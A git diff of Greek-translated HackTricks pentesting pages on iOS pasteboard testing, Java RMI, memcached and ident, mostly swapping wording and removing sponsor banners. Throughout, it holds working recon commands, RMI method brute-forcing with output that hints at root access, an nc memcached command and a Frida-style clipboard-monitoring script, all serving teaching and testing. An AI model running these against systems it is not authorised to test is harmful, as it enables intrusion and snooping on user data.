<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Η κοινή χρήση δεδομένων εντός και μεταξύ εφαρμογών σε συσκευές iOS διευκολύνεται από τον μηχανισμό [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), ο οποίος χωρίζεται σε δύο κύριες κατηγορίες:
- **Γενική επιφάνεια συστήματος**: Χρησιμοποιείται για την κοινή χρήση δεδομένων με **οποιαδήποτε εφαρμογή** και έχει σχεδιαστεί για να διατηρεί δεδομένα κατά τη διάρκεια επανεκκινήσεων της συσκευής και απεγκαταστάσεων εφαρμογών, μια δυνατότητα που είναι διαθέσιμη από το iOS 10.
- **Προσαρμοσμένες / Ονομασμένες επιφάνειες**: Αυτές είναι ειδικά για την κοινή χρήση δεδομένων **εντός μιας εφαρμογής ή με άλλη εφαρμογή** που μοιράζεται το ίδιο ID ομάδας και δεν έχουν σχεδιαστεί για να διατηρούνται πέρα από τη διάρκεια της διαδικασίας εφαρμογής που τις δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
- **Γενικό σύστημα pasteboard**: Αυτό χρησιμοποιείται για την κοινή χρήση δεδομένων με **οποιαδήποτε εφαρμογή** και έχει σχεδιαστεί για να διατηρεί δεδομένα κατά τη διάρκεια επανεκκινήσεων της συσκευής και απεγκαταστάσεων εφαρμογών, μια δυνατότητα που είναι διαθέσιμη από το iOS 10.
- **Προσαρμοσμένα / Ονομασμένα pasteboards**: Αυτά είναι ειδικά για την κοινή χρήση δεδομένων **εντός μιας εφαρμογής ή με άλλη εφαρμογή** που μοιράζεται το ίδιο ID ομάδας, και δεν έχουν σχεδιαστεί για να διατηρούνται πέρα από τη διάρκεια της διαδικασίας εφαρμογής που τα δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
**Σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των επιφανειών. Για παράδειγμα:
**Σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των pasteboards. Για παράδειγμα:
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες εφαρμογών για πρόσβαση στην **επιφάνεια**.
- Για να μετριαστεί ο κίνδυνος μη εξουσιοδοτημένης παρακολούθησης της επιφάνειας στο παρασκήνιο, η πρόσβαση περιορίζεται όταν η εφαρμογή είναι στο προσκήνιο (από το iOS 9).
- Η χρήση μόνιμων ονομασμένων επιφανειών αποθαρρύνεται υπέρ των κοινών κοντέινερ λόγω ανησυχιών για την ιδιωτικότητα.
- Η δυνατότητα **Universal Clipboard** που εισήχθη με το iOS 10, επιτρέποντας την κοινή χρήση περιεχομένου μεταξύ συσκευών μέσω της γενικής επιφάνειας, μπορεί να διαχειρίζεται από τους προγραμματιστές για να ορίσουν την ημερομηνία λήξης των δεδομένων και να απενεργοποιήσουν τη αυτόματη μεταφορά περιεχομένου.
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες εφαρμογών για πρόσβαση στο **pasteboard**.
- Για να μετριαστεί ο κίνδυνος μη εξουσιοδοτημένης παρακολούθησης του pasteboard στο παρασκήνιο, η πρόσβαση περιορίζεται όταν η εφαρμογή είναι στο προσκήνιο (από το iOS 9).
- Η χρήση μόνιμων ονομασμένων pasteboards αποθαρρύνεται υπέρ των κοινών κοντέινερ λόγω ανησυχιών για την ιδιωτικότητα.
- Η δυνατότητα **Universal Clipboard** που εισήχθη με το iOS 10, επιτρέποντας την κοινή χρήση περιεχομένου μεταξύ συσκευών μέσω του γενικού pasteboard, μπορεί να διαχειριστεί από τους προγραμματιστές για να ορίσουν την ημερομηνία λήξης των δεδομένων και να απενεργοποιήσουν τη αυτόματη μεταφορά περιεχομένου.
Είναι κρίσιμο να διασφαλιστεί ότι **ευαίσθητες πληροφορίες δεν αποθηκεύονται κατά λάθος** στην παγκόσμια επιφάνεια. Επιπλέον, οι εφαρμογές θα πρέπει να σχεδιάζονται ώστε να αποτρέπουν την κακή χρήση των δεδομένων της παγκόσμιας επιφάνειας για μη προγραμματισμένες ενέργειες, και οι προγραμματιστές ενθαρρύνονται να εφαρμόσουν μέτρα για να αποτρέψουν την αντιγραφή ευαίσθητων πληροφοριών στο πρόχειρο.
Είναι κρίσιμο να διασφαλιστεί ότι **ευαίσθητες πληροφορίες δεν αποθηκεύονται κατά λάθος** στο παγκόσμιο pasteboard. Επιπλέον, οι εφαρμογές θα πρέπει να σχεδιάζονται ώστε να αποτρέπουν την κακή χρήση των δεδομένων του παγκόσμιου pasteboard για μη προγραμματισμένες ενέργειες, και οι προγραμματιστές ενθαρρύνονται να εφαρμόσουν μέτρα για να αποτρέψουν την αντιγραφή ευαίσθητων πληροφοριών στο clipboard.
### Στατική Ανάλυση
Για στατική ανάλυση, αναζητήστε τον πηγαίο κώδικα ή το δυαδικό αρχείο για:
- `generalPasteboard` για να προσδιορίσετε τη χρήση της **γενικής επιφάνειας συστήματος**.
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων επιφανειών**. Ελέγξτε αν είναι ενεργοποιημένη η διατήρηση, αν και αυτό είναι αποσυρμένο.
- `generalPasteboard` για να προσδιορίσετε τη χρήση του **γενικού συστήματος pasteboard**.
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων pasteboards**. Ελέγξτε αν είναι ενεργοποιημένη η διατήρηση, αν και αυτό είναι απαρχαιωμένο.
### Δυναμική Ανάλυση
@ -31,17 +27,17 @@
- Παρακολουθήστε το `generalPasteboard` για τη χρήση σε επίπεδο συστήματος.
- Ιχνηλατήστε το `pasteboardWithName:create:` και `pasteboardWithUniqueName` για προσαρμοσμένες υλοποιήσεις.
- Παρακολουθήστε τις αποσυρμένες κλήσεις μεθόδου `setPersistent:` για να ελέγξετε τις ρυθμίσεις διατήρησης.
- Παρακολουθήστε τις κλήσεις της απαρχαιωμένης μεθόδου `setPersistent:` για να ελέγξετε τις ρυθμίσεις διατήρησης.
Κύριες λεπτομέρειες που πρέπει να παρακολουθούνται περιλαμβάνουν:
- **Ονόματα επιφανειών** και **περιεχόμενα** (για παράδειγμα, έλεγχος για συμβολοσειρές, URLs, εικόνες).
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, αξιοποιώντας τυπικούς και προσαρμοσμένους ελέγχους τύπων δεδομένων.
- **Ονόματα pasteboard** και **περιεχόμενα** (για παράδειγμα, έλεγχος για συμβολοσειρές, URLs, εικόνες).
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, αξιοποιώντας ελέγχους τυπικών και προσαρμοσμένων τύπων δεδομένων.
- **Επιλογές λήξης και τοπικών μόνο** ελέγχοντας τη μέθοδο `setItems:options:`.
Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης είναι ο **παρακολούθηση επιφάνειας του objection**, που ελέγχει την generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης είναι ο **παρακολούθηση pasteboard του objection**, που ελέγχει το generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
Ακολουθεί ένα απλό παράδειγμα σεναρίου JavaScript, εμπνευσμένο από την προσέγγιση του objection, για να διαβάσει και να καταγράψει τις αλλαγές από την επιφάνεια κάθε 5 δευτερόλεπτα:
Ακολουθεί ένα απλό παράδειγμα σεναρίου JavaScript, εμπνευσμένο από την προσέγγιση του objection, για να διαβάσει και να καταγράψει τις αλλαγές από το pasteboard κάθε 5 δευτερόλεπτα:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard
const Pasteboard = UIPasteboard.generalPasteboard()
@ -78,8 +74,5 @@ console.log(items)
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Basic Information
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
_Java Remote Method Invocation_, ή _Java RMI_, είναι ένας αντικειμενοστραφής μηχανισμός _RPC_ που επιτρέπει σε ένα αντικείμενο που βρίσκεται σε μία _Java virtual machine_ να καλεί μεθόδους σε ένα αντικείμενο που βρίσκεται σε άλλη _Java virtual machine_. Αυτό επιτρέπει στους προγραμματιστές να γράφουν κατανεμημένες εφαρμογές χρησιμοποιώντας μια αντικειμενοστραφή παρα paradigma. Μια σύντομη εισαγωγή στο _Java RMI_ από επιθετική προοπτική μπορεί να βρεθεί σε [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Βασικές Πληροφορίες
_Java Remote Method Invocation_, ή _Java RMI_, είναι ένας αντικειμενοστραφής μηχανισμός _RPC_ που επιτρέπει σε ένα αντικείμενο που βρίσκεται σε μία _Java virtual machine_ να καλεί μεθόδους σε ένα αντικείμενο που βρίσκεται σε άλλη _Java virtual machine_. Αυτό επιτρέπει στους προγραμματιστές να γράφουν κατανεμημένες εφαρμογές χρησιμοποιώντας μια αντικειμενοστραφή παρα paradigma. Μια σύντομη εισαγωγή στο _Java RMI_ από επιθετική προοπτική μπορεί να βρεθεί [σε αυτή την ομιλία blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
**Προεπιλεγμένη θύρα:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
@ -30,12 +22,12 @@ PORT STATE SERVICE VERSION
Για να το θέσουμε απλά, το _Java RMI_ επιτρέπει σε έναν προγραμματιστή να κάνει ένα _Java object_ διαθέσιμο στο δίκτυο. Αυτό ανοίγει μια θύρα _TCP_ όπου οι πελάτες μπορούν να συνδεθούν και να καλέσουν μεθόδους στο αντίστοιχο αντικείμενο. Παρά το γεγονός ότι αυτό ακούγεται απλό, υπάρχουν αρκετές προκλήσεις που πρέπει να επιλύσει το _Java RMI_:
1. Για να αποσταλεί μια κλήση μεθόδου μέσω _Java RMI_, οι πελάτες πρέπει να γνωρίζουν τη διεύθυνση IP, τη θύρα ακρόασης, την υλοποιημένη κλάση ή διεπαφή και το `ObjID` του στοχευμένου αντικειμένου (το `ObjID` είναι ένας μοναδικός και τυχαίος αναγνωριστικός αριθμός που δημιουργείται όταν το αντικείμενο καθίσταται διαθέσιμο στο δίκτυο. Είναι απαραίτητο επειδή το _Java RMI_ επιτρέπει σε πολλά αντικείμενα να ακούν στην ίδια θύρα _TCP_).
1. Για να αποσταλεί μια κλήση μεθόδου μέσω _Java RMI_, οι πελάτες πρέπει να γνωρίζουν τη διεύθυνση IP, τη θύρα ακρόασης, την υλοποιημένη κλάση ή διεπαφή και το `ObjID` του στοχευμένου αντικειμένου (το `ObjID` είναι ένας μοναδικός και τυχαίος αναγνωριστής που δημιουργείται όταν το αντικείμενο καθίσταται διαθέσιμο στο δίκτυο. Είναι απαραίτητο επειδή το _Java RMI_ επιτρέπει σε πολλαπλά αντικείμενα να ακούν στην ίδια θύρα _TCP_).
2. Οι απομακρυσμένοι πελάτες μπορεί να δεσμεύσουν πόρους στον διακομιστή καλώντας μεθόδους στο εκτεθειμένο αντικείμενο. Η _Java virtual machine_ πρέπει να παρακολουθεί ποιοι από αυτούς τους πόρους είναι ακόμα σε χρήση και ποιοι μπορούν να συλλεχθούν ως σκουπίδια.
Η πρώτη πρόκληση επιλύεται από το _RMI registry_, το οποίο είναι βασικά μια υπηρεσία ονοματοδοσίας για το _Java RMI_. Το _RMI registry_ είναι επίσης μια _RMI service_, αλλά η υλοποιημένη διεπαφή και το `ObjID` είναι σταθερά και γνωστά σε όλους τους πελάτες _RMI_. Αυτό επιτρέπει στους πελάτες _RMI_ να καταναλώνουν το _RMI_ registry γνωρίζοντας απλώς την αντίστοιχη θύρα _TCP_.
Όταν οι προγραμματιστές θέλουν να κάνουν τα _Java objects_ τους διαθέσιμα στο δίκτυο, συνήθως τα δεσμεύουν σε ένα _RMI registry_. Το _registry_ αποθηκεύει όλες τις πληροφορίες που απαιτούνται για να συνδεθείτε με το αντικείμενο (διεύθυνση IP, θύρα ακρόασης, υλοποιημένη κλάση ή διεπαφή και την τιμή `ObjID`) και τις καθιστά διαθέσιμες υπό ένα ανθρώπινα αναγνώσιμο όνομα (το _bound name_). Οι πελάτες που θέλουν να καταναλώσουν την _RMI service_ ζητούν από το _RMI registry_ το αντίστοιχο _bound name_ και το registry επιστρέφει όλες τις απαιτούμενες πληροφορίες για τη σύνδεση. Έτσι, η κατάσταση είναι βασικά η ίδια με μια συνηθισμένη υπηρεσία _DNS_. Η παρακάτω καταχώρηση δείχνει ένα μικρό παράδειγμα:
Όταν οι προγραμματιστές θέλουν να κάνουν τα _Java objects_ τους διαθέσιμα στο δίκτυο, συνήθως τα δεσμεύουν σε ένα _RMI registry_. Το _registry_ αποθηκεύει όλες τις πληροφορίες που απαιτούνται για να συνδεθεί κανείς με το αντικείμενο (διεύθυνση IP, θύρα ακρόασης, υλοποιημένη κλάση ή διεπαφή και την τιμή `ObjID`) και τις καθιστά διαθέσιμες υπό μια ανθρώπινα αναγνώσιμη ονομασία (το _bound name_). Οι πελάτες που θέλουν να καταναλώσουν την _RMI service_ ζητούν από το _RMI registry_ την αντίστοιχη _bound name_ και το registry επιστρέφει όλες τις απαιτούμενες πληροφορίες για τη σύνδεση. Έτσι, η κατάσταση είναι βασικά η ίδια με μια συνηθισμένη υπηρεσία _DNS_. Η παρακάτω καταχώρηση δείχνει ένα μικρό παράδειγμα:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -67,7 +59,7 @@ e.printStackTrace();
2. Το _Activation System_ (`ObjID = 1`)
3. Ο _Distributed Garbage Collector_ (`ObjID = 2`)
Τα προεπιλεγμένα συστατικά του _Java RMI_ είναι γνωστά επιθετικά σημεία εδώ και αρκετό καιρό και υπάρχουν πολλές ευπάθειες σε παλιές εκδόσεις του _Java_. Από την οπτική γωνία ενός επιτιθέμενου, αυτά τα προεπιλεγμένα συστατικά είναι ενδιαφέροντα, επειδή υλοποιούν γνωστές κλάσεις / διεπαφές και είναι εύκολο να αλληλεπιδράσει κανείς μαζί τους. Αυτή η κατάσταση είναι διαφορετική για τις προσαρμοσμένες _RMI services_. Για να καλέσετε μια μέθοδο σε ένα _remote object_, πρέπει να γνωρίζετε την αντίστοιχη υπογραφή μεθόδου εκ των προτέρων. Χωρίς να γνωρίζετε μια υπάρχουσα υπογραφή μεθόδου, δεν υπάρχει τρόπος να επικοινωνήσετε με μια _RMI service_.
Τα προεπιλεγμένα συστατικά του _Java RMI_ είναι γνωστά επιθετικά διανύσματα εδώ και αρκετό καιρό και υπάρχουν πολλές ευπάθειες σε παλιές εκδόσεις του _Java_. Από την οπτική γωνία ενός επιτιθέμενου, αυτά τα προεπιλεγμένα συστατικά είναι ενδιαφέροντα, επειδή υλοποιούν γνωστές κλάσεις / διεπαφές και είναι εύκολο να αλληλεπιδράσει κανείς μαζί τους. Αυτή η κατάσταση είναι διαφορετική για τις προσαρμοσμένες _RMI services_. Για να καλέσετε μια μέθοδο σε ένα _remote object_, πρέπει να γνωρίζετε την αντίστοιχη υπογραφή μεθόδου εκ των προτέρων. Χωρίς να γνωρίζετε μια υπάρχουσα υπογραφή μεθόδου, δεν υπάρχει τρόπος να επικοινωνήσετε με μια _RMI service_.
## RMI Enumeration
@ -146,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Bruteforcing Remote Methods
Ακόμα και όταν δεν έχουν εντοπιστεί ευπάθειες κατά τη διάρκεια της καταμέτρησης, οι διαθέσιμες _RMI_ υπηρεσίες θα μπορούσαν να εκθέσουν επικίνδυνες λειτουργίες. Επιπλέον, παρά το γεγονός ότι η επικοινωνία _RMI_ με τα προεπιλεγμένα συστατικά _RMI_ προστατεύεται από φίλτρα απο-serialization, όταν μιλάμε με προσαρμοσμένες _RMI_ υπηρεσίες, τέτοια φίλτρα συνήθως δεν είναι σε εφαρμογή. Γνωρίζοντας έγκυρες υπογραφές μεθόδων στις _RMI_ υπηρεσίες είναι επομένως πολύτιμο.
Ακόμα και όταν δεν έχουν εντοπιστεί ευπάθειες κατά τη διάρκεια της αρίθμησης, οι διαθέσιμες _RMI_ υπηρεσίες θα μπορούσαν να εκθέσουν επικίνδυνες λειτουργίες. Επιπλέον, παρά το γεγονός ότι η επικοινωνία _RMI_ με τα προεπιλεγμένα συστατικά _RMI_ προστατεύεται από φίλτρα απο-σειριοποίησης, όταν μιλάμε με προσαρμοσμένες _RMI_ υπηρεσίες, τέτοια φίλτρα συνήθως δεν είναι σε εφαρμογή. Γνωρίζοντας έγκυρες υπογραφές μεθόδων στις _RMI_ υπηρεσίες είναι επομένως πολύτιμο.
Δυστυχώς, το _Java RMI_ δεν υποστηρίζει την καταμέτρηση μεθόδων σε _απομακρυσμένα αντικείμενα_. Παρ' όλα αυτά, είναι δυνατό να γίνει bruteforce υπογραφών μεθόδων με εργαλεία όπως το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ή το [rmiscout](https://github.com/BishopFox/rmiscout):
Δυστυχώς, το _Java RMI_ δεν υποστηρίζει την αρίθμηση μεθόδων σε _απομακρυσμένα αντικείμενα_. Παρ' όλα αυτά, είναι δυνατόν να γίνει brute force στις υπογραφές μεθόδων με εργαλεία όπως το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ή το [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -213,11 +205,11 @@ uid=0(root) gid=0(root) groups=0(root)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
Εκτός από την εκτίμηση, θα πρέπει επίσης να αναζητήσετε σε μηχανές αναζήτησης ή _GitHub_ για τη διεπαφή ή ακόμη και την υλοποίηση μιας συναντηθείσας _RMI_ υπηρεσίας. Το _bound name_ και το όνομα της υλοποιημένης κλάσης ή διεπαφής μπορεί να είναι χρήσιμα εδώ.
Εκτός από την εκτίμηση, θα πρέπει επίσης να αναζητήσετε σε μηχανές αναζήτησης ή _GitHub_ για τη διεπαφή ή ακόμη και την υλοποίηση μιας συναντηθείσας υπηρεσίας _RMI_. Το _bound name_ και το όνομα της υλοποιημένης κλάσης ή διεπαφής μπορεί να είναι χρήσιμα εδώ.
## Γνωστές Διεπαφές
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) σημειώνει τις κλάσεις ή τις διεπαφές ως `known` αν είναι καταχωρημένες στη εσωτερική βάση δεδομένων του εργαλείου για γνωστές _RMI services_. Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε τη δράση `known` για να αποκτήσετε περισσότερες πληροφορίες σχετικά με την αντίστοιχη _RMI service_:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) σημειώνει τις κλάσεις ή τις διεπαφές ως `known` αν είναι καταχωρημένες στη εσωτερική βάση δεδομένων του εργαλείου για γνωστές υπηρεσίες _RMI_. Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε την ενέργεια `known` για να αποκτήσετε περισσότερες πληροφορίες σχετικά με την αντίστοιχη υπηρεσία _RMI_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -280,13 +272,13 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
- `port:1099 java`
## Εργαλεία
## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Αναφορές
## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
@ -301,12 +293,4 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,9 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Commands Cheat-Sheet
@ -17,9 +14,9 @@
| Command | Description | Example |
| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| get | Διαβάζει μια τιμή | `get mykey` |
| set | Ορίζει ένα κλειδί χωρίς προϋποθέσεις | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Βεβαιωθείτε ότι χρησιμοποιείτε \r\n ως διαλείμματα γραμμών όταν χρησιμοποιείτε εργαλεία CLI Unix. Για παράδειγμα&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| set | Ορίζει ένα κλειδί χωρίς προϋποθέσεις | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Βεβαιωθείτε ότι χρησιμοποιείτε \r\n ως διαλείμματα γραμμών όταν χρησιμοποιείτε εργαλεία Unix CLI. Για παράδειγμα&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Προσθέτει ένα νέο κλειδί | `add newkey 0 60 5` |
| replace | Επαναγράφει υπάρχον κλειδί | `replace key 0 60 5` |
| replace | Επαναγράφει υπάρχον κλειδί | `replace key 0 60 5` |
| append | Προσθέτει δεδομένα σε υπάρχον κλειδί | `append key 0 60 15` |
| prepend | Προσθέτει δεδομένα πριν από υπάρχον κλειδί | `prepend key 0 60 15` |
| incr | Αυξάνει την αριθμητική τιμή του κλειδιού κατά τον καθορισμένο αριθμό | `incr mykey 2` |
@ -29,7 +26,7 @@
| flush_all | Ακυρώνει όλα τα στοιχεία σε n δευτερόλεπτα | `flush_all 900` |
| stats | Εκτυπώνει γενικά στατιστικά | `stats` |
| | Εκτυπώνει στατιστικά μνήμης | `stats slabs` |
| | Εκτυπώνει στατιστικά κατανομής υψηλότερου επιπέδου | `stats malloc` |
| | Εκτυπώνει στατιστικά υψηλότερης κατανομής | `stats malloc` |
| | Εκτυπώνει πληροφορίες για τα στοιχεία | `stats items` |
| | | `stats detail` |
| | | `stats sizes` |
@ -45,9 +42,9 @@
```
stats
```
Θα λάβετε μια λίστα που παρέχει τον αριθμό των συνδέσεων, τα bytes εισόδου/εξόδου και πολλά άλλα.
Θα λάβετε μια λίστα που παρέχει τον αριθμό των συνδέσεων, των byte εισόδου/εξόδου και πολλά άλλα.
Παράδειγμα εξόδου:
Παράδειγμα Έξοδος:
```
STAT pid 14868
STAT uptime 175931
@ -118,10 +115,6 @@ STAT items:2:age 1405
[...]
END
```
Αυτό τουλάχιστον βοηθά να δούμε αν χρησιμοποιούνται κλειδιά. Για να εξάγετε τα ονόματα των κλειδιών από ένα PHP script που ήδη κάνει την πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον PHP κώδικα από [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Αυτό τουλάχιστον βοηθά να δούμε αν χρησιμοποιούνται κλειδιά. Για να εξάγετε τα ονόματα των κλειδιών από ένα σενάριο PHP που ήδη κάνει την πρόσβαση στο memcache, μπορείτε να χρησιμοποιήσετε τον κώδικα PHP από [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Basic Information
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Το **Ident Protocol** χρησιμοποιείται μέσω του **Internet** για να συσχετίσει μια **TCP σύνδεση** με έναν συγκεκριμένο χρήστη. Αρχικά σχεδιασμένο για να βοηθήσει στη **διαχείριση δικτύου** και την **ασφάλεια**, λειτουργεί επιτρέποντας σε έναν διακομιστή να ρωτήσει έναν πελάτη στην πόρτα 113 για να ζητήσει πληροφορίες σχετικά με τον χρήστη μιας συγκεκριμένης TCP σύνδεσης.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
Ωστόσο, λόγω των σύγχρονων ανησυχιών για την ιδιωτικότητα και της πιθανότητας κακής χρήσης, η χρήση του έχει μειωθεί καθώς μπορεί ακούσια να αποκαλύψει πληροφορίες χρηστών σε μη εξουσιοδοτημένα μέρη. Συνιστώνται ενισχυμένα μέτρα ασφαλείας, όπως κρυπτογραφημένες συνδέσεις και αυστηροί έλεγχοι πρόσβασης, για να μετριαστούν αυτοί οι κίνδυνοι.
## Βασικές Πληροφορίες
Το **Πρωτόκολλο Ident** χρησιμοποιείται μέσω του **Διαδικτύου** για να συσχετίσει μια **σύνδεση TCP** με έναν συγκεκριμένο χρήστη. Αρχικά σχεδιασμένο για να βοηθά στη **διαχείριση δικτύου** και την **ασφάλεια**, λειτουργεί επιτρέποντας σε έναν διακομιστή να ρωτήσει έναν πελάτη στην πόρτα 113 για να ζητήσει πληροφορίες σχετικά με τον χρήστη μιας συγκεκριμένης σύνδεσης TCP.
Ωστόσο, λόγω σύγχρονων ανησυχιών σχετικά με την ιδιωτικότητα και την πιθανότητα κακής χρήσης, η χρήση του έχει μειωθεί καθώς μπορεί να αποκαλύψει ακούσια πληροφορίες χρηστών σε μη εξουσιοδοτημένα μέρη. Συνιστώνται ενισχυμένα μέτρα ασφαλείας, όπως κρυπτογραφημένες συνδέσεις και αυστηροί έλεγχοι πρόσβασης, για να μετριαστούν αυτοί οι κίνδυνοι.
**Προεπιλεγμένη θύρα:** 113
**Default port:** 113
```
PORT STATE SERVICE
113/tcp open ident
@ -24,11 +17,11 @@ PORT STATE SERVICE
### **Χειροκίνητα - Λάβετε χρήστη/Καθορίστε την υπηρεσία**
Εάν μια μηχανή εκτελεί την υπηρεσία ident και samba (445) και είστε συνδεδεμένοι στο samba χρησιμοποιώντας την θύρα 43218. Μπορείτε να δείτε ποιος χρήστης εκτελεί την υπηρεσία samba κάνοντας:
Αν μια μηχανή εκτελεί την υπηρεσία ident και samba (445) και είστε συνδεδεμένοι στο samba χρησιμοποιώντας την θύρα 43218. Μπορείτε να δείτε ποιος χρήστης εκτελεί την υπηρεσία samba κάνοντας:
![](<../images/image (843).png>)
Εάν απλώς πατήσετε enter όταν συνδεθείτε στην υπηρεσία:
Αν απλά πατήσετε enter όταν συνδεθείτε στην υπηρεσία:
![](<../images/image (159).png>)
@ -73,13 +66,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## HackTricks Αυτόματες Εντολές
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.

View File

@ -2,26 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Βασικές Πληροφορίες
